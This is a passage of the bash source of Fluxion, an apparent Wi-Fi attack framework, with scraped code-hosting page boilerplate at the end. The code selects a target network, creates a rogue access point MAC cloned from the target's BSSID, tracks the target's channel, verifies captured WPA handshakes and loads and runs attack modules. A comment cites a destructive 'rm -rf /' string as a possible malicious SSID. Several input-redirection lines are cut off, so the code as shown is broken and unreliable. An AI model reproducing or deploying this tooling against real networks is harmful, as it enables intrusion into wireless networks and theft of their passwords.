if [ $? -ne 0 ]; then # If reidentifying failed, abort immediately.

return 4

fi

fi

if [ $allocatingWirelessInterface ]; then

# Activate wireless interface monitor mode and save identifier.

echo -e "$FLUXIONVLine $FLUXIONStartingWIMonitorNotice"

# TODO: Consider the airmon-ng flag is set, monitor mode is

# already enabled on the interface being allocated, and the

# interface identifier is something non-airmon-ng standard.

# The interface could already be in use by something else.

# Snatching or crashing interface issues could occur.

# NOTICE: Conditionals below populate newIdentifier on success.

if [ $FLUXIONAirmonNG ]; then

local -r newIdentifier=$(

airmon-ng start $identifier |

grep "monitor .* enabled" |

grep -oP "wl[a-zA-Z0-9]+mon|mon[0-9]+|prism[0-9]+"

)

else

# Attempt activating monitor mode on the interface.

if interface_set_mode $FluxionNextAssignableInterface monitor; then

# Register the new identifier upon consecutive successes.

local -r newIdentifier=$FluxionNextAssignableInterface

else

# If monitor-mode switch fails, undo rename and abort.

interface_reidentify $FluxionNextAssignableInterface $identifier

fi

fi

fi

# On failure to allocate the interface, we've got to abort.

# Notice: If the interface was already in monitor mode and

# airmon-ng is activated, WE didn't allocate the interface.

if [ ! "$newIdentifier" -o "$newIdentifier" = "$oldIdentifier" ]; then

echo -e "$FLUXIONVLine $FLUXIONInterfaceAllocationFailedError"

sleep 3

return 5

fi

# Register identifiers to allocation hash table.

FluxionInterfaces[$newIdentifier]=$identifier

FluxionInterfaces[$identifier]=$newIdentifier

echo -e "$FLUXIONVLine $FLUXIONInterfaceAllocatedNotice"

sleep 3

# Notice: Interfaces are accessed with their original identifier

# as the key for the global FluxionInterfaces hash/map/dictionary.

}

# Parameters:

# Description: Prints next available assignable interface name.

# ------------------------------------------------------------ #

fluxion_next_assignable_interface() {

# Find next available interface by checking global.

local -r prefix=$1

local index=0

while [ "${FluxionInterfaces[$prefix$index]}" ]; do

let index++

done

FluxionNextAssignableInterface="$prefix$index"

}

# Parameters: []

# Note: The interfaces lambda must print an interface per line.

# ------------------------------------------------------------ #

# Return -1: Go back

# Return 1: Missing interfaces lambda identifier (not passed).

fluxion_get_interface() {

if ! type -t "$1" &> /dev/null; then return 1; fi

if [ "$2" ]; then

local -r interfaceQuery="$2"

else

local -r interfaceQuery=$FLUXIONInterfaceQuery

fi

while true; do

local candidateInterfaces

readarray -t candidateInterfaces <

local interfacesAvailable=()

local interfacesAvailableInfo=()

local interfacesAvailableColor=()

local interfacesAvailableState=()

# Gather information from all available interfaces.

local candidateInterface

for candidateInterface in "${candidateInterfaces[@]}"; do

if [ ! "$candidateInterface" ]; then

local skipOption=1

continue

fi

interface_chipset "$candidateInterface"

interfacesAvailableInfo+=("$InterfaceChipset")

# If it has already been allocated, we can use it at will.

local candidateInterfaceAlt=${FluxionInterfaces["$candidateInterface"]}

if [ "$candidateInterfaceAlt" ]; then

interfacesAvailable+=("$candidateInterfaceAlt")

interfacesAvailableColor+=("$CGrn")

interfacesAvailableState+=("[*]")

else

interfacesAvailable+=("$candidateInterface")

interface_state "$candidateInterface"

if [ "$InterfaceState" = "up" ]; then

interfacesAvailableColor+=("$CPrp")

interfacesAvailableState+=("[-]")

else

interfacesAvailableColor+=("$CClr")

interfacesAvailableState+=("[+]")

fi

fi

done

# If only one interface exists and it's not unavailable, choose it.

if [ "${#interfacesAvailable[@]}" -eq 1 -a \

"${interfacesAvailableState[0]}" != "[-]" -a \

"$skipOption" == "" ]; then FluxionInterfaceSelected="${interfacesAvailable[0]}"

FluxionInterfaceSelectedState="${interfacesAvailableState[0]}"

FluxionInterfaceSelectedInfo="${interfacesAvailableInfo[0]}"

break

else

if [ $skipOption ]; then

interfacesAvailable+=("$FLUXIONGeneralSkipOption")

interfacesAvailableColor+=("$CClr")

fi

interfacesAvailable+=(

"$FLUXIONGeneralRepeatOption"

"$FLUXIONGeneralBackOption"

)

interfacesAvailableColor+=(

"$CClr"

"$CClr"

)

format_apply_autosize \

"$CRed[$CSYel%1d$CClr$CRed]%b %-8b %3s$CClr %-*.*s\n"

io_query_format_fields \

"$FLUXIONVLine $interfaceQuery" "$FormatApplyAutosize" \

interfacesAvailableColor[@] interfacesAvailable[@] \

interfacesAvailableState[@] interfacesAvailableInfo[@]

echo

case "${IOQueryFormatFields[1]}" in

"$FLUXIONGeneralSkipOption")

FluxionInterfaceSelected=""

FluxionInterfaceSelectedState=""

FluxionInterfaceSelectedInfo=""

return 0;;

"$FLUXIONGeneralRepeatOption") continue;;

"$FLUXIONGeneralBackOption") return -1;;

*)

FluxionInterfaceSelected="${IOQueryFormatFields[1]}"

FluxionInterfaceSelectedState="${IOQueryFormatFields[2]}"

FluxionInterfaceSelectedInfo="${IOQueryFormatFields[3]}"

break;;

esac

fi

done

}

# ============== < Fluxion Target Subroutines > ============== #

# Parameters: interface [ channel(s) [ band(s) ] ]

# ------------------------------------------------------------ #

# Return 1: Missing monitor interface.

# Return 2: Xterm failed to start airmon-ng.

# Return 3: Invalid capture file was generated.

# Return 4: No candidates were detected.

fluxion_target_get_candidates() {

# Assure a valid wireless interface for scanning was given.

if [ ! "$1" ] || ! interface_is_wireless "$1"; then return 1; fi

echo -e "$FLUXIONVLine $FLUXIONStartingScannerNotice"

echo -e "$FLUXIONVLine $FLUXIONStartingScannerTip"

# Assure all previous scan results have been cleared.

sandbox_remove_workfile "$FLUXIONWorkspacePath/dump*"

#if [ "$FLUXIONAuto" ]; then

# sleep 30 && killall xterm &

#fi

# Begin scanner and output all results to "dump-01.csv."

if ! xterm -title "$FLUXIONScannerHeader" $TOPLEFTBIG \

-bg "#000000" -fg "#FFFFFF" -e \

"airodump-ng -Mat WPA "${2:+"--channel $2"}" "${3:+"--band $3"}" -w \"$FLUXIONWorkspacePath/dump\" $1" 2> $FLUXIONOutputDevice; then

echo -e "$FLUXIONVLine$CRed $FLUXIONGeneralXTermFailureError"

sleep 5

return 2

fi

# Sanity check the capture files generated by the scanner.

# If the file doesn't exist, or if it's empty, abort immediately.

if [ ! -f "$FLUXIONWorkspacePath/dump-01.csv" -o \

! -s "$FLUXIONWorkspacePath/dump-01.csv" ]; then

sandbox_remove_workfile "$FLUXIONWorkspacePath/dump*"

return 3

fi

# Syntheize scan opeFLUXIONWindowRation results from output file "dump-01.csv."

echo -e "$FLUXIONVLine $FLUXIONPreparingScannerResultsNotice"

# WARNING: The code below may break with different version of airmon-ng.

# The times matching operator "{n}" isn't supported by mawk (alias awk).

# readarray FLUXIONTargetCandidates <

# gawk -F, 'NF==15 && $1~/([A-F0-9]{2}:){5}[A-F0-9]{2}/ {print $0}'

# $FLUXIONWorkspacePath/dump-01.csv

# )

# readarray FLUXIONTargetCandidatesClients <

# gawk -F, 'NF==7 && $1~/([A-F0-9]{2}:){5}[A-F0-9]{2}/ {print $0}'

# $FLUXIONWorkspacePath/dump-01.csv

# )

local -r matchMAC="([A-F0-9][A-F0-9]:)+[A-F0-9][A-F0-9]"

readarray FluxionTargetCandidates <

awk -F, "NF==15 && length(\$1)==17 && \$1~/$matchMAC/ {print \$0}" \

"$FLUXIONWorkspacePath/dump-01.csv"

)

readarray FluxionTargetCandidatesClients <

awk -F, "NF==7 && length(\$1)==17 && \$1~/$matchMAC/ {print \$0}" \

"$FLUXIONWorkspacePath/dump-01.csv"

)

# Cleanup the workspace to prevent potential bugs/conflicts.

sandbox_remove_workfile "$FLUXIONWorkspacePath/dump*"

if [ ${#FluxionTargetCandidates[@]} -eq 0 ]; then

echo -e "$FLUXIONVLine $FLUXIONScannerDetectedNothingNotice"

sleep 3

return 4

fi

}

fluxion_get_target() {

# Assure a valid wireless interface for scanning was given.

if [ ! "$1" ] || ! interface_is_wireless "$1"; then return 1; fi

local -r interface=$1

local choices=( \

"$FLUXIONScannerChannelOptionAll (2.4GHz)" \

"$FLUXIONScannerChannelOptionAll (5GHz)" \

"$FLUXIONScannerChannelOptionAll (2.4GHz & 5Ghz)" \

"$FLUXIONScannerChannelOptionSpecific" "$FLUXIONGeneralBackOption"

)

io_query_choice "$FLUXIONScannerChannelQuery" choices[@]

echo

case "$IOQueryChoice" in

"$FLUXIONScannerChannelOptionAll (2.4GHz)")

fluxion_target_get_candidates $interface "" "bg";;

"$FLUXIONScannerChannelOptionAll (5GHz)")

fluxion_target_get_candidates $interface "" "a";;

"$FLUXIONScannerChannelOptionAll (2.4GHz & 5Ghz)")

fluxion_target_get_candidates $interface "" "abg";;

"$FLUXIONScannerChannelOptionSpecific")

fluxion_header

echo -e "$FLUXIONVLine $FLUXIONScannerChannelQuery"

echo

echo -e " $FLUXIONScannerChannelSingleTip ${CBlu}6$CClr "

echo -e " $FLUXIONScannerChannelMiltipleTip ${CBlu}1-5$CClr "

echo -e " $FLUXIONScannerChannelMiltipleTip ${CBlu}1,2,5-7,11$CClr "

echo

echo -ne "$FLUXIONPrompt"

local channels

read channels

echo

fluxion_target_get_candidates $interface $channels;;

"$FLUXIONGeneralBackOption")

return -1;;

esac

# Abort if errors occured while searching for candidates.

if [ $? -ne 0 ]; then return 2; fi

local candidatesMAC=()

local candidatesClientsCount=()

local candidatesChannel=()

local candidatesSecurity=()

local candidatesSignal=()

local candidatesPower=()

local candidatesESSID=()

local candidatesColor=()

# Gather information from all the candidates detected.

# TODO: Clean up this for loop using a cleaner algorithm.

# Maybe try using array appending & [-1] for last elements.

for candidateAPInfo in "${FluxionTargetCandidates[@]}"; do

# Strip candidate info from any extraneous spaces after commas.

candidateAPInfo=$(echo "$candidateAPInfo" | sed -r "s/,\s*/,/g")

local i=${#candidatesMAC[@]}

candidatesMAC[i]=$(echo "$candidateAPInfo" | cut -d , -f 1)

candidatesClientsCount[i]=$(

echo "${FluxionTargetCandidatesClients[@]}" |

grep -c "${candidatesMAC[i]}"

)

candidatesChannel[i]=$(echo "$candidateAPInfo" | cut -d , -f 4)

candidatesSecurity[i]=$(echo "$candidateAPInfo" | cut -d , -f 6)

candidatesPower[i]=$(echo "$candidateAPInfo" | cut -d , -f 9)

candidatesColor[i]=$(

[ ${candidatesClientsCount[i]} -gt 0 ] && echo $CGrn || echo $CClr

)

# Parse any non-ascii characters by letting bash handle them.

# Escape all single quotes in ESSID and let bash's $'...' handle it.

local sanitizedESSID=$(

echo "${candidateAPInfo//\'/\\\'}" | cut -d , -f 14

)

candidatesESSID[i]=$(eval "echo \$'$sanitizedESSID'")

local power=${candidatesPower[i]}

if [ $power -eq -1 ]; then

# airodump-ng's man page says -1 means unsupported value.

candidatesQuality[i]="??"

elif [ $power -le $FLUXIONNoiseFloor ]; then

candidatesQuality[i]=0

elif [ $power -gt $FLUXIONNoiseCeiling ]; then

candidatesQuality[i]=100

else

# Bash doesn't support floating point division, work around it...

# Q = ((P - F) / (C - F)); Q-quality, P-power, F-floor, C-Ceiling.

candidatesQuality[i]=$(( \

(${candidatesPower[i]} * 10 - $FLUXIONNoiseFloor * 10) / \

(($FLUXIONNoiseCeiling - $FLUXIONNoiseFloor) / 10) \

))

fi

done

format_center_literals "WIFI LIST"

local -r headerTitle="$FormatCenterLiterals\n\n"

format_apply_autosize "$CRed[$CSYel ** $CClr$CRed]$CClr %-*.*s %4s %3s %3s %2s %-8.8s %18s\n"

local -r headerFields=$(

printf "$FormatApplyAutosize" \

"ESSID" "QLTY" "PWR" "STA" "CH" "SECURITY" "BSSID"

)

format_apply_autosize "$CRed[$CSYel%03d$CClr$CRed]%b %-*.*s %3s%% %3s %3d %2s %-8.8s %18s\n"

io_query_format_fields "$headerTitle$headerFields" \

"$FormatApplyAutosize" \

candidatesColor[@] \

candidatesESSID[@] \

candidatesQuality[@] \

candidatesPower[@] \

candidatesClientsCount[@] \

candidatesChannel[@] \

candidatesSecurity[@] \

candidatesMAC[@]

echo

FluxionTargetMAC=${IOQueryFormatFields[7]}

FluxionTargetSSID=${IOQueryFormatFields[1]}

FluxionTargetChannel=${IOQueryFormatFields[5]}

FluxionTargetEncryption=${IOQueryFormatFields[6]}

FluxionTargetMakerID=${FluxionTargetMAC:0:8}

FluxionTargetMaker=$(

macchanger -l |

grep ${FluxionTargetMakerID,,} 2> $FLUXIONOutputDevice |

cut -d ' ' -f 5-

)

FluxionTargetSSIDClean=$(fluxion_target_normalize_SSID)

# We'll change a single hex digit from the target AP's MAC address.

# This new MAC address will be used as the rogue AP's MAC address.

local -r rogueMACHex=$(printf %02X $((0x${FluxionTargetMAC:13:1} + 1)))

FluxionTargetRogueMAC="${FluxionTargetMAC::13}${rogueMACHex:1:1}${FluxionTargetMAC:14:4}"

}

fluxion_target_normalize_SSID() {

# Sanitize network ESSID to make it safe for manipulation.

# Notice: Why remove these? Some smartass might decide to name their

# network "; rm -rf / ;". If the string isn't sanitized accidentally

# shit'll hit the fan and we'll have an extremly distressed user.

# Replacing ' ', '/', '.', '~', '\' with '_'

echo "$FluxionTargetSSID" | sed -r 's/( |\/|\.|\~|\\)+/_/g'

}

fluxion_target_show() {

format_apply_autosize "%*s$CBlu%7s$CClr: %-32s%*s\n"

local colorlessFormat="$FormatApplyAutosize"

local colorfullFormat=$(

echo "$colorlessFormat" | sed -r 's/%-32s/%-32b/g'

)

printf "$colorlessFormat" "" "ESSID" "\"${FluxionTargetSSID:-[N/A]}\" / ${FluxionTargetEncryption:-[N/A]}" ""

printf "$colorlessFormat" "" "Channel" " ${FluxionTargetChannel:-[N/A]}" ""

printf "$colorfullFormat" "" "BSSID" " ${FluxionTargetMAC:-[N/A]} ($CYel${FluxionTargetMaker:-[N/A]}$CClr)" ""

echo

}

fluxion_target_tracker_daemon() {

if [ ! "$1" ]; then return 1; fi # Assure we've got fluxion's PID.

readonly fluxionPID=$1

readonly monitorTimeout=10 # In seconds.

readonly capturePath="$FLUXIONWorkspacePath/tracker_capture"

if [ \

-z "$FluxionTargetMAC" -o \

-z "$FluxionTargetSSID" -o \

-z "$FluxionTargetChannel" ]; then

return 2 # If we're missing target information, we can't track properly.

fi

while true; do

echo "[T-Tracker] Captor listening for $monitorTimeout seconds..."

timeout --preserve-status $monitorTimeout airodump-ng -aw "$capturePath" \

-d "$FluxionTargetMAC" $FluxionTargetTrackerInterface &> /dev/null

local error=$? # Catch the returned status error code.

if [ $error -ne 0 ]; then # If any error was encountered, abort!

echo -e "[T-Tracker] ${CRed}Error:$CClr Operation aborted (code: $error)!"

break

fi

local targetInfo=$(head -n 3 "$capturePath-01.csv" | tail -n 1)

sandbox_remove_workfile "$capturePath-*"

local targetChannel=$(

echo "$targetInfo" | awk -F, '{gsub(/ /, "", $4); print $4}'

)

echo "[T-Tracker] $targetInfo"

if [ "$targetChannel" -ne "$FluxionTargetChannel" ]; then

echo "[T-Tracker] Target channel change detected!"

FluxionTargetChannel=$targetChannel

break

fi

# NOTE: We might also want to check for SSID changes here, assuming the only

# thing that remains constant is the MAC address. The problem with that is

# that airodump-ng has some serious problems with unicode, apparently.

# Try feeding it an access point with Chinese characters and check the .csv.

done

# Save/overwrite the new target information to the workspace for retrival.

echo "$FluxionTargetMAC" > "$FLUXIONWorkspacePath/target_info.txt"

echo "$FluxionTargetSSID" >> "$FLUXIONWorkspacePath/target_info.txt"

echo "$FluxionTargetChannel" >> "$FLUXIONWorkspacePath/target_info.txt"

# NOTICE: Using different signals for different things is a BAD idea.

# We should use a single signal, SIGINT, to handle different situations.

kill -s SIGALRM $fluxionPID # Signal fluxion a change was detected.

sandbox_remove_workfile "$capturePath-*"

}

fluxion_target_tracker_stop() {

if [ ! "$FluxionTargetTrackerDaemonPID" ]; then return 1; fi

kill -s SIGABRT $FluxionTargetTrackerDaemonPID &> /dev/null

FluxionTargetTrackerDaemonPID=""

}

fluxion_target_tracker_start() {

if [ ! "$FluxionTargetTrackerInterface" ]; then return 1; fi

fluxion_target_tracker_daemon $$ &> "$FLUXIONOutputDevice" &

FluxionTargetTrackerDaemonPID=$!

}

fluxion_target_unset_tracker() {

if [ ! "$FluxionTargetTrackerInterface" ]; then return 1; fi

FluxionTargetTrackerInterface=""

}

fluxion_target_set_tracker() {

if [ "$FluxionTargetTrackerInterface" ]; then

echo "Tracker interface already set, skipping." > $FLUXIONOutputDevice

return 0

fi

# Check if attack provides tracking interfaces, get & set one.

if ! type -t attack_tracking_interfaces &> /dev/null; then

echo "Tracker DOES NOT have interfaces available!" > $FLUXIONOutputDevice

return 1

fi

if [ "$FluxionTargetTrackerInterface" == "" ]; then

echo "Running get interface (tracker)." > $FLUXIONOutputDevice

local -r interfaceQuery=$FLUXIONTargetTrackerInterfaceQuery

local -r interfaceQueryTip=$FLUXIONTargetTrackerInterfaceQueryTip

local -r interfaceQueryTip2=$FLUXIONTargetTrackerInterfaceQueryTip2

if ! fluxion_get_interface attack_tracking_interfaces \

"$interfaceQuery\n$FLUXIONVLine $interfaceQueryTip\n$FLUXIONVLine $interfaceQueryTip2"; then

echo "Failed to get tracker interface!" > $FLUXIONOutputDevice

return 2

fi

local selectedInterface=$FluxionInterfaceSelected

else

# Assume user passed one via the command line and move on.

# If none was given we'll take care of that case below.

local selectedInterface=$FluxionTargetTrackerInterface

echo "Tracker interface passed via command line!" > $FLUXIONOutputDevice

fi

# If user skipped a tracker interface, move on.

if [ ! "$selectedInterface" ]; then

fluxion_target_unset_tracker

return 0

fi

if ! fluxion_allocate_interface $selectedInterface; then

echo "Failed to allocate tracking interface!" > $FLUXIONOutputDevice

return 3

fi

echo "Successfully got tracker interface." > $FLUXIONOutputDevice

FluxionTargetTrackerInterface=${FluxionInterfaces[$selectedInterface]}

}

fluxion_target_unset() {

FluxionTargetMAC=""

FluxionTargetSSID=""

FluxionTargetChannel=""

FluxionTargetEncryption=""

FluxionTargetMakerID=""

FluxionTargetMaker=""

FluxionTargetSSIDClean=""

FluxionTargetRogueMAC=""

return 1 # To trigger undo-chain.

}

fluxion_target_set() {

# Check if attack is targetted & set the attack target if so.

if ! type -t attack_targetting_interfaces &> /dev/null; then

return 1

fi

if [ \

"$FluxionTargetSSID" -a \

"$FluxionTargetMAC" -a \

"$FluxionTargetChannel" \

]; then

# If we've got a candidate target, ask user if we'll keep targetting it.

fluxion_header

fluxion_target_show

echo

echo -e "$FLUXIONVLine $FLUXIONTargettingAccessPointAboveNotice"

# TODO: This doesn't translate choices to the selected language.

while ! echo "$choice" | grep -q "^[ynYN]$" &> /dev/null; do

echo -ne "$FLUXIONVLine $FLUXIONContinueWithTargetQuery [Y/n] "

local choice

read choice

if [ ! "$choice" ]; then break; fi

done

echo -ne "\n\n"

if [ "${choice,,}" != "n" ]; then

return 0

fi

elif [ \

"$FluxionTargetSSID" -o \

"$FluxionTargetMAC" -o \

"$FluxionTargetChannel" \

]; then

# TODO: Survey environment here to autofill missing fields.

# In other words, if a user gives incomplete information, scan

# the environment based on either the ESSID or BSSID, & autofill.

echo -e "$FLUXIONVLine $FLUXIONIncompleteTargettingInfoNotice"

sleep 3

fi

if ! fluxion_get_interface attack_targetting_interfaces \

"$FLUXIONTargetSearchingInterfaceQuery"; then

return 2

fi

if ! fluxion_allocate_interface $FluxionInterfaceSelected; then

return 3

fi

if ! fluxion_get_target \

${FluxionInterfaces[$FluxionInterfaceSelected]}; then

return 4

fi

}

# =================== < Hash Subroutines > =================== #

# Parameters: [channel [encryption [maker]]]

fluxion_hash_verify() {

if [ ${#@} -lt 3 ]; then return 1; fi

local -r hashPath=$1

local -r hashBSSID=$2

local -r hashESSID=$3

local -r hashChannel=$4

local -r hashEncryption=$5

local -r hashMaker=$6

if [ ! -f "$hashPath" -o ! -s "$hashPath" ]; then

echo -e "$FLUXIONVLine $FLUXIONHashFileDoesNotExistError"

sleep 3

return 2

fi

if [ "$FLUXIONAuto" ]; then

local -r verifier="cowpatty"

else

fluxion_header

echo -e "$FLUXIONVLine $FLUXIONHashVerificationMethodQuery"

echo

fluxion_target_show

local choices=( \

"$FLUXIONHashVerificationMethodPyritOption" \

"$FLUXIONHashVerificationMethodAircrackOption" \

"$FLUXIONHashVerificationMethodCowpattyOption" \

"$FLUXIONGeneralBackOption" \

)

io_query_choice "" choices[@]

echo

case "$IOQueryChoice" in

"$FLUXIONHashVerificationMethodPyritOption")

local -r verifier="pyrit" ;;

"$FLUXIONHashVerificationMethodAircrackOption")

local -r verifier="aircrack-ng" ;;

"$FLUXIONHashVerificationMethodCowpattyOption")

local -r verifier="cowpatty" ;;

"$FLUXIONGeneralBackOption")

return -1 ;;

esac

fi

hash_check_handshake \

"$verifier" \

"$hashPath" \

"$hashESSID" \

"$hashBSSID"

local -r hashResult=$?

# A value other than 0 means there's an issue with the hash.

if [ $hashResult -ne 0 ]; then

echo -e "$FLUXIONVLine $FLUXIONHashInvalidError"

else

echo -e "$FLUXIONVLine $FLUXIONHashValidNotice"

fi

sleep 3

if [ $hashResult -ne 0 ]; then return 1; fi

}

fluxion_hash_unset_path() {

if [ ! "$FluxionHashPath" ]; then return 1; fi

FluxionHashPath=""

# Since we're auto-selecting when on auto, trigger undo-chain.

if [ "$FLUXIONAuto" ]; then return 2; fi

}

# Parameters: [channel [encryption [maker]]]

fluxion_hash_set_path() {

if [ "$FluxionHashPath" ]; then return 0; fi

fluxion_hash_unset_path

local -r hashPath=$1

# If we've got a default path, check if a hash exists.

# If one exists, ask users if they'd like to use it.

if [ "$hashPath" -a -f "$hashPath" -a -s "$hashPath" ]; then

if [ "$FLUXIONAuto" ]; then

FluxionHashPath=$hashPath

return

else

local choices=( \

"$FLUXIONUseFoundHashOption" \

"$FLUXIONSpecifyHashPathOption" \

"$FLUXIONHashSourceRescanOption" \

"$FLUXIONGeneralBackOption" \

)

fluxion_header

echo -e "$FLUXIONVLine $FLUXIONFoundHashNotice"

echo -e "$FLUXIONVLine $FLUXIONUseFoundHashQuery"

echo

io_query_choice "" choices[@]

echo

case "$IOQueryChoice" in

"$FLUXIONUseFoundHashOption")

FluxionHashPath=$hashPath

return ;;

"$FLUXIONHashSourceRescanOption")

fluxion_hash_set_path "$@"

return $? ;;

"$FLUXIONGeneralBackOption")

return -1 ;;

esac

fi

fi

while [ ! "$FluxionHashPath" ]; do

fluxion_header

echo

echo -e "$FLUXIONVLine $FLUXIONPathToHandshakeFileQuery"

echo -e "$FLUXIONVLine $FLUXIONPathToHandshakeFileReturnTip"

echo

echo -ne "$FLUXIONAbsolutePathInfo: "

read FluxionHashPath

# Back-track when the user leaves the hash path blank.

# Notice: Path is cleared if we return, no need to unset.

if [ ! "$FluxionHashPath" ]; then return 1; fi

# Make sure the path points to a valid generic file.

if [ ! -f "$FluxionHashPath" -o ! -s "$FluxionHashPath" ]; then

echo -e "$FLUXIONVLine $FLUXIONEmptyOrNonExistentHashError"

sleep 5

fluxion_hash_unset_path

fi

done

}

# Paramters:

fluxion_hash_get_path() {

# Assure we've got the bssid and the essid passed in.

if [ ${#@} -lt 2 ]; then return 1; fi

while true; do

fluxion_hash_unset_path

if ! fluxion_hash_set_path "$@"; then

return -1 # WARNING: The recent error code is NOT contained in $? here!

fi

if fluxion_hash_verify "$FluxionHashPath" "$2" "$3"; then

break;

fi

done

# At this point FluxionHashPath will be set and ready.

}

# ================== < Attack Subroutines > ================== #

fluxion_unset_attack() {

local -r attackWasSet=${FluxionAttack:+1}

FluxionAttack=""

if [ ! "$attackWasSet" ]; then return 1; fi

}

fluxion_set_attack() {

if [ "$FluxionAttack" ]; then return 0; fi

fluxion_unset_attack

fluxion_header

echo -e "$FLUXIONVLine $FLUXIONAttackQuery"

echo

fluxion_target_show

local attacks

readarray -t attacks <

local descriptions

readarray -t descriptions <

head -n 3 "$FLUXIONPath/attacks/"*"/language/$FluxionLanguage.sh" | \

grep -E "^# description: " | sed -E 's/# \w+: //'

)

local identifiers=()

local attack

for attack in "${attacks[@]}"; do

local identifier=$(

head -n 3 "$FLUXIONPath/attacks/$attack/language/$FluxionLanguage.sh" | \

grep -E "^# identifier: " | sed -E 's/# \w+: //'

)

if [ "$identifier" ]; then

identifiers+=("$identifier")

else

identifiers+=("$attack")

fi

done

attacks+=("$FLUXIONGeneralBackOption")

identifiers+=("$FLUXIONGeneralBackOption")

descriptions+=("")

io_query_format_fields "" \

"\t$CRed[$CSYel%d$CClr$CRed]$CClr%0.0s $CCyn%b$CClr %b\n" \

attacks[@] identifiers[@] descriptions[@]

echo

if [ "${IOQueryFormatFields[1]}" = "$FLUXIONGeneralBackOption" ]; then

return -1

fi

if [ "${IOQueryFormatFields[1]}" = "$FLUXIONAttackRestartOption" ]; then

return 2

fi

FluxionAttack=${IOQueryFormatFields[0]}

}

fluxion_unprep_attack() {

if type -t unprep_attack &> /dev/null; then

unprep_attack

fi

IOUtilsHeader="fluxion_header"

# Remove any lingering targetting subroutines loaded.

unset attack_targetting_interfaces

unset attack_tracking_interfaces

# Remove any lingering restoration subroutines loaded.

unset load_attack

unset save_attack

FluxionTargetTrackerInterface=""

return 1 # Trigger another undo since prep isn't significant.

}

fluxion_prep_attack() {

local -r path="$FLUXIONPath/attacks/$FluxionAttack"

if [ ! -x "$path/attack.sh" ]; then return 1; fi

if [ ! -x "$path/language/$FluxionLanguage.sh" ]; then return 2; fi

# Load attack parameters if any exist.

if [ "$AttackCLIArguments" ]; then

eval set -- "$AttackCLIArguments"

# Remove them after loading them once.

unset AttackCLIArguments

fi

# Load attack and its corresponding language file.

# Load english by default to overwrite globals that ARE defined.

source "$path/language/en.sh"

if [ "$FluxionLanguage" != "en" ]; then

source "$path/language/$FluxionLanguage.sh"

fi

source "$path/attack.sh"

# Check if attack is targetted & set the attack target if so.

if type -t attack_targetting_interfaces &> /dev/null; then

if ! fluxion_target_set; then return 3; fi

fi

# Check if attack provides tracking interfaces, get & set one.

# TODO: Uncomment the lines below after implementation.

if type -t attack_tracking_interfaces &> /dev/null; then

if ! fluxion_target_set_tracker; then return 4; fi

fi

# If attack is capable of restoration, check for configuration.

if type -t load_attack &> /dev/null; then

# If configuration file available, check if user wants to restore.

if [ -f "$path/attack.conf" ]; then

local choices=( \

"$FLUXIONAttackRestoreOption" \

"$FLUXIONAttackResetOption" \

)

io_query_choice "$FLUXIONAttackResumeQuery" choices[@]

if [ "$IOQueryChoice" = "$FLUXIONAttackRestoreOption" ]; then

load_attack "$path/attack.conf"

fi

fi

fi

if ! prep_attack; then return 5; fi

# Save the attack for user's convenience if possible.

if type -t save_attack &> /dev/null; then

save_attack "$path/attack.conf"

fi

}

fluxion_run_attack() {

start_attack

fluxion_target_tracker_start

local choices=( \

"$FLUXIONSelectAnotherAttackOption" \

"$FLUXIONGeneralExitOption" \

)

io_query_choice \

"$(io_dynamic_output $FLUXIONAttackInProgressNotice)" choices[@]

echo

# IOQueryChoice is a global, meaning, its value is volatile.

# We need to make sure to save the choice before it changes.

local choice="$IOQueryChoice"

fluxion_target_tracker_stop

# could execute twice

# but mostly doesn't matter

if [ ! -x "$(command -v systemctl)" ]; then

if [ "$(systemctl list-units | grep systemd-resolved)" != "" ];then

systemctl restart systemd-resolved.service

fi

fi

if [ -x "$(command -v service)" ];then

if service --status-all | grep -Fq 'systemd-resolved'; then

sudo service systemd-resolved.service restart

fi

fi

stop_attack

if [ "$choice" = "$FLUXIONGeneralExitOption" ]; then

fluxion_handle_exit

fi

fluxion_unprep_attack

fluxion_unset_attack

}

# ============================================================ #

# ================= < Argument Executables > ================= #

# ============================================================ #

eval set -- "$FLUXIONCLIArguments" # Set environment parameters.

while [ "$1" != "" -a "$1" != "--" ]; do

case "$1" in

-t|--target) echo "Not yet implemented!"; sleep 3; fluxion_shutdown;;

esac

shift # Shift new parameters

done

# ============================================================ #

# ===================== < FLUXION Loop > ===================== #

# ============================================================ #

fluxion_main() {

fluxion_startup

fluxion_set_resolution

# Removed read-only due to local constant shadowing bug.

# I've reported the bug, we can add it when fixed.

local sequence=(

"set_language"

"set_attack"

"prep_attack"

"run_attack"

)

while true; do # Fluxion's runtime-loop.

fluxion_do_sequence fluxion sequence[@]

done

fluxion_shutdown

}

fluxion_main # Start Fluxion

# FLUXSCRIPT END

一键复制

编辑

Web IDE

原始数据

按行查看

历史

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值